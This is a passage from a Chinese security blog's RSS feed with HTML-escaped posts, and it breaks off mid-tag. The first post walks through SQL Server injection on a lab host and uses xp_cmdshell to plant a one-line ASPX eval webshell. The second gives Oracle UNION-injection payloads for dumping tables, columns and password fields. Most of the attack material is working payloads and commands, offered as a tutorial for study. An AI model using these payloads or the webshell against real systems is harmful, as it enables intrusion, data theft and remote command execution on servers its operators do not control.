&amp;#39;;--&lt;/code&gt;。也可以使用sqlmap来查看条数。&lt;/p&gt;&lt;/blockquote&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(254, 254, 242);&quot;&gt;可以用报错将表内容给显示出来&lt;/p&gt;&lt;div class=&quot;cnblogs_code&quot; style=&quot;margin: 5px 0px; padding: 5px; background-color: rgb(245, 245, 245); border: 1px solid rgb(204, 204, 204); overflow: auto; white-space: normal; font-family: &amp;quot;Courier New&amp;quot; !important; font-size: 12px !important;&quot;&gt;&lt;pre style=&quot;margin-top: 0px; margin-bottom: 0px; padding: 0px; white-space: pre-wrap; overflow-wrap: break-word; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=2&amp;#39;&amp;nbsp;and&amp;nbsp;1=(select&amp;nbsp;top&amp;nbsp;1&amp;nbsp;tmp1&amp;nbsp;from&amp;nbsp;tt_tmp)and&amp;nbsp;&amp;#39;a&amp;#39;=&amp;#39;a&lt;/pre&gt;&lt;/div&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(254, 254, 242);&quot;&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/06/159100694023176.png&quot; alt=&quot;报错读出1&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; height: auto; max-width: 100%;&quot;/&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(254, 254, 242);&quot;&gt;继续爆&lt;/p&gt;&lt;div class=&quot;cnblogs_code&quot; style=&quot;margin: 5px 0px; padding: 5px; background-color: rgb(245, 245, 245); border: 1px solid rgb(204, 204, 204); overflow: auto; white-space: normal; font-family: &amp;quot;Courier New&amp;quot; !important; font-size: 12px !important;&quot;&gt;&lt;pre style=&quot;margin-top: 0px; margin-bottom: 0px; padding: 0px; white-space: pre-wrap; overflow-wrap: break-word; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=2&amp;#39;&amp;nbsp;and&amp;nbsp;1=(select&amp;nbsp;top&amp;nbsp;1&amp;nbsp;tmp1&amp;nbsp;from&amp;nbsp;tt_tmp&amp;nbsp;where&amp;nbsp;tmp1&amp;nbsp;not&amp;nbsp;in&amp;nbsp;(&amp;#39;c:\inetpub\wwwroot\manage\news\NewsList.aspx&amp;nbsp;&amp;#39;))and&amp;nbsp;&amp;#39;a&amp;#39;=&amp;#39;a&lt;/pre&gt;&lt;/div&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(254, 254, 242);&quot;&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/06/1591006941647046.png&quot; alt=&quot;报错读出2&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; height: auto; max-width: 100%;&quot;/&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(254, 254, 242);&quot;&gt;也可以用sqlmap直接将表中数据读取出来&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(254, 254, 242);&quot;&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/06/1591006943332664.png&quot; alt=&quot;导出临时表&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; height: auto; max-width: 100%;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(254, 254, 242);&quot;&gt;然后根据导出结果的路径来判断是否可能为WEB目录。然后写入一个测试文件，看是否可以访问来进一步证实结果。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(254, 254, 242);&quot;&gt;这里在根目录写了一个txt文件，写别的目录怕因为没有权限而无法访问。&lt;/p&gt;&lt;div class=&quot;cnblogs_code&quot; style=&quot;margin: 5px 0px; padding: 5px; background-color: rgb(245, 245, 245); border: 1px solid rgb(204, 204, 204); overflow: auto; white-space: normal; font-family: &amp;quot;Courier New&amp;quot; !important; font-size: 12px !important;&quot;&gt;&lt;pre style=&quot;margin-top: 0px; margin-bottom: 0px; padding: 0px; white-space: pre-wrap; overflow-wrap: break-word; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=1&amp;#39;;exec&amp;nbsp;master..xp_cmdshell&amp;nbsp;&amp;#39;echo&amp;nbsp;test&amp;nbsp;&amp;gt;c:\\WWW\\2333.txt&amp;#39;;--&lt;/pre&gt;&lt;/div&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(254, 254, 242);&quot;&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/06/1591006954689026.png&quot; alt=&quot;查看写入的测试文件&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; height: auto; max-width: 100%;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(254, 254, 242);&quot;&gt;然后访问&lt;a href=&quot;http://192.168.232.138:81/2333.txt&quot; rel=&quot;external&quot; target=&quot;_blank&quot; style=&quot;margin: 0px; padding: 0px; color: rgb(7, 93, 179);&quot;&gt;http://192.168.232.138:81/2333.txt&lt;/a&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(254, 254, 242);&quot;&gt;成功访问，然后就是写一句话&lt;/p&gt;&lt;div class=&quot;cnblogs_code&quot; style=&quot;margin: 5px 0px; padding: 5px; background-color: rgb(245, 245, 245); border: 1px solid rgb(204, 204, 204); overflow: auto; white-space: normal; font-family: &amp;quot;Courier New&amp;quot; !important; font-size: 12px !important;&quot;&gt;&lt;pre style=&quot;margin-top: 0px; margin-bottom: 0px; padding: 0px; white-space: pre-wrap; overflow-wrap: break-word; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=1&amp;#39;;exec&amp;nbsp;master..xp_cmdshell&amp;nbsp;&amp;#39;echo&amp;nbsp;^&amp;lt;%@&amp;nbsp;Page&amp;nbsp;Language=&amp;quot;Jscript&amp;quot;%^&amp;gt;^&amp;lt;%eval(Request.Item[&amp;quot;pass&amp;quot;],&amp;quot;unsafe&amp;quot;);%^&amp;gt;&amp;nbsp;&amp;gt;&amp;nbsp;c:\\WWW\\233.aspx&amp;#39;&amp;nbsp;;--&lt;/pre&gt;&lt;/div&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(254, 254, 242);&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 0px; line-height: 1.5; background-color: initial; color: #333333;&quot;&gt;DOS命令将文件写入文本中时，遇到&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; background-color: initial; color: rgb(51, 51, 51);&quot;&gt;&amp;lt;&amp;gt;&lt;/code&gt;&lt;span style=&quot;margin: 0px; padding: 0px; line-height: 1.5; background-color: initial; color: #333333;&quot;&gt;应在前面加上&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; background-color: initial; color: rgb(51, 51, 51);&quot;&gt;^&lt;/code&gt;&lt;span style=&quot;margin: 0px; padding: 0px; line-height: 1.5; background-color: initial; color: #333333;&quot;&gt;。&lt;/span&gt;成功写入。然后就是进一步的操作了，这里就不概述了。&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/06/1591006961756176.png&quot; alt=&quot;查看一句话&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; height: auto; max-width: 100%;&quot;/&gt;&lt;/p&gt;&lt;h3 id=&quot;总结&quot; style=&quot;margin: 10px 0px; padding: 0px; font-size: 16px; line-height: 1.5; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(254, 254, 242);&quot;&gt;总结:&lt;/h3&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(254, 254, 242);&quot;&gt;这里一共有三个小的知识点:&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;1.sa用户如何开启xp_cmdshell&lt;/p&gt;&lt;div class=&quot;cnblogs_code&quot; style=&quot;margin: 5px 0px; padding: 5px; background-color: rgb(245, 245, 245); border: 1px solid rgb(204, 204, 204); overflow: auto; white-space: normal; font-family: &amp;quot;Courier New&amp;quot; !important; font-size: 12px !important;&quot;&gt;&lt;pre style=&quot;margin-top: 0px; margin-bottom: 0px; padding: 0px; white-space: pre-wrap; overflow-wrap: break-word; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;EXEC&amp;nbsp;sp_configure&amp;nbsp;&amp;#39;show&amp;nbsp;advanced&amp;nbsp;options&amp;#39;,1;//允许修改高级参数RECONFIGURE;
EXEC&amp;nbsp;sp_configure&amp;nbsp;&amp;#39;xp_cmdshell&amp;#39;,1;&amp;nbsp;//打开xp_cmdshell扩展RECONFIGURE;&lt;/pre&gt;&lt;/div&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(254, 254, 242);&quot;&gt;2.Windows下利用dos如何搜索文件&amp;nbsp;&lt;/p&gt;&lt;div class=&quot;cnblogs_code&quot; style=&quot;margin: 5px 0px; padding: 5px; background-color: rgb(245, 245, 245); border: 1px solid rgb(204, 204, 204); overflow: auto; white-space: normal; font-family: &amp;quot;Courier New&amp;quot; !important; font-size: 12px !important;&quot;&gt;&lt;pre style=&quot;margin-top: 0px; margin-bottom: 0px; padding: 0px; white-space: pre-wrap; overflow-wrap: break-word; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;for&amp;nbsp;/r&amp;nbsp;c:\&amp;nbsp;%i&amp;nbsp;in&amp;nbsp;(Newslist*.aspx)&amp;nbsp;do&amp;nbsp;@echo&amp;nbsp;%ifor&amp;nbsp;/r&amp;nbsp;c:\&amp;nbsp;%i&amp;nbsp;in&amp;nbsp;(Newslist.aspx*)&amp;nbsp;do&amp;nbsp;@echo&amp;nbsp;%i&lt;/pre&gt;&lt;/div&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(254, 254, 242);&quot;&gt;3.dos命令下写文件遇到&lt;code style=&quot;margin: 0px; padding: 0px;&quot;&gt;&amp;lt;&amp;gt;&lt;/code&gt;如何处理&amp;nbsp;&lt;/p&gt;&lt;div class=&quot;cnblogs_code&quot; style=&quot;margin: 5px 0px; padding: 5px; background-color: rgb(245, 245, 245); border: 1px solid rgb(204, 204, 204); overflow: auto; white-space: normal; font-family: &amp;quot;Courier New&amp;quot; !important; font-size: 12px !important;&quot;&gt;&lt;pre style=&quot;margin-top: 0px; margin-bottom: 0px; padding: 0px; white-space: pre-wrap; overflow-wrap: break-word; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;echo&amp;nbsp;^&amp;lt;^&amp;gt;&amp;nbsp;&amp;gt;&amp;nbsp;123.txt&lt;/pre&gt;&lt;/div&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(254, 254, 242);&quot;&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Mon, 01 Jun 2020 18:15:48 +0800</pubDate></item><item><title>Oracle注入总结</title><link>http://www.liugongrui.com/?id=261</link><description>&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;Union联合查询：&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;　　order by 定字段&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;　　and 1=2 union select null,null..... from dual 然后一个一个去判断字段类型，方法如下&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;　　and 1=2 union select &amp;#39;null&amp;#39;,null...... from dual 返回正常，说明第一个字段是字符型，反之为数字型&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;　　　　第一个字段是字符型，判断第二个字段类型：&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;　　　　and 1=2 union select &amp;#39;null&amp;#39;,&amp;#39;null&amp;#39;...... from dual 返回正常，说明第二个字段是字符型，反之为数字型&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;　　　　第一个字段是数字型，判断第二个字段类型：&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;　　　　and 1=2 union select null,&amp;#39;null&amp;#39;...... from dual 返回正常，说明第二个字段是字符型，反之为数字型&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;　　判断第n个字段的类型，依次类推即可&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;　　确定回显位，假设当前共2个字段，全是数字型，判断方式如下：&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;　　and 1=2 union select 1,2 from dual&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;　　假设回显位是2，爆当前数据库中的第一个表：&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;　　and 1=2 union select 1,(select table_name from user_tables where rownum=1) from dual&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;　　爆当前数据库中的第二个表：&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;　　and 1=2 union select 1,(select table_name from user_tables where rownum=1 and table_name not in (&amp;#39;第一个表&amp;#39;)) from dual&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;　　以此类推去爆第n个表&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;　　爆某表中的第一个字段：&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;　　and 1=2 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name=&amp;#39;表名（大写的）&amp;#39;) from dual&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;　　爆某表中的第二个字段：&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;　　and 1=2 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name=&amp;#39;表名&amp;#39; and column_name not in (&amp;#39;第一个字段&amp;#39;)) from dual&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;　　爆其它字段以此类推&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;　　爆某表中的第一行数据：&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;　　and 1=2 union select 1,字段1||字段2...||字段n from 表名 where rownum=1 --连接多个字段用到的连接符号是||,在oracle数据库中，concat函数只能连接两个字符串&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;　　通过字段名找到对应表：&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;　　SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;　　查询第N行：&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;　　SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — 查询第9行(从1开始数)&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;　　当前用户：&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;　　SELECT user FROM dual;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;　　列出所有用户：&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;　　SELECT username FROM all_users ORDER BY username;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;　　列出数据库&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;　　SELECT DISTINCT owner FROM all_tables;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;　　列出表名：&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;　　SELECT table_name FROM all_tables;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;　　SELECT owner, table_name FROM all_tables;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;　　列出字段名：&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;　　SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;　　SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;　　定位DB文件：&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;　　SELECT name FROM V$DATAFILE;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 0px; font-size: 16px;&quot;&gt;&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;实例：&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;一、UNION联合查询型注入&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;1、判断注入点类型&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/1590139679108779.png&quot; alt=&quot;&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; height: auto; max-width: 660px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/159013967975313.png&quot; alt=&quot;&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; height: auto; max-width: 660px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/1590139680586297.png&quot; alt=&quot;&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; height: auto; max-width: 660px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;注入点类型为单引号字符型&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;2、order by定字段&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/1590139680879206.png&quot; alt=&quot;&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; height: auto; max-width: 660px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/1590139680835944.png&quot; alt=&quot;&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; height: auto; max-width: 660px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;3、确定每个字段的类型&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;oracle自带虚拟表dual，oracle的查询语句必须完整的包含from字句，且每个字段的类型都要准确对应，一般使用null来判断类型。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/1590139680758462.png&quot; alt=&quot;&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; height: auto; max-width: 660px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;第一个字段为数字型&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/1590139683758439.png&quot; alt=&quot;&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; height: auto; max-width: 660px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;第二个字段为字符型&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;4、确定回显位&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/1590139683344843.png&quot; alt=&quot;&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; height: auto; max-width: 660px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;5、爆表&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;用户第一个表&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/1590139683830876.png&quot; alt=&quot;&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; height: auto; max-width: 660px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/1590139684998396.png&quot; alt=&quot;&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; height: auto; max-width: 660px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;或者&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/1590139685638140.png&quot; alt=&quot;&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; height: auto; max-width: 660px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;其它表使用相同方法即可爆出&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;6、爆字段&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;这里以我爆出的用户帐号表为例进行爆字段&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/159013968525524.png&quot; alt=&quot;&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; height: auto; max-width: 660px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;爆第二个字段，方法和爆第二个表一样，加个删选条件就行了&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/159013968567738.png&quot; alt=&quot;&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; height: auto; max-width: 660px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;其它的类似&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;7、爆值&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;oracle的字符连接用||符号，或者用concat，但是concat只能连接连个字符串(可以嵌套实现连接多个字符串)，我这里用||符号连接输出的字符串。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/1590139685785996.png&quot; alt=&quot;&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; height: auto; max-width: 660px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Arial, sans-serif; font-size: 12px; white-space: normal; background-color: rgb(255, 255, 